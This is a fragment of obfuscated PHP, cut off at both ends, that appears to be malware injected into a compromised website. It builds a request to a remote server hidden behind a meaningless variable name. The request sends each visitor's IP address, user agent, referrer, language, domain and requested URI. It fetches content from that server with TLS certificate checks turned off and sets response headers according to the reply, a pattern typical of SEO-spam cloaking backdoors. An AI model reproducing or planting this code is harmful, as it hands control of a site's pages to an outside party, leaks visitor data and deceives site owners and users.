'; $requsturl = $oyxnw."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$icj&script=$script&sitemap=".urlencode($sitemap); } $xsdg = @file_get_contents($requsturl); if(empty($xsdg)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $requsturl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); $xsdg = curl_exec($ch); curl_close($ch); } if(!empty($xsdg)) { if(substr($xsdg,0,10)=="error code" or $xsdg == "500" or strpos($xsdg,'Bad Gateway')!==false) { header("HTTP/1.0 500 Internal Server Error"); exit(); } if(strpos($uri,"jp2023") !== false){header('HTTP/1.1 404 Not Found');} else if(substr($xsdg,0,5)=="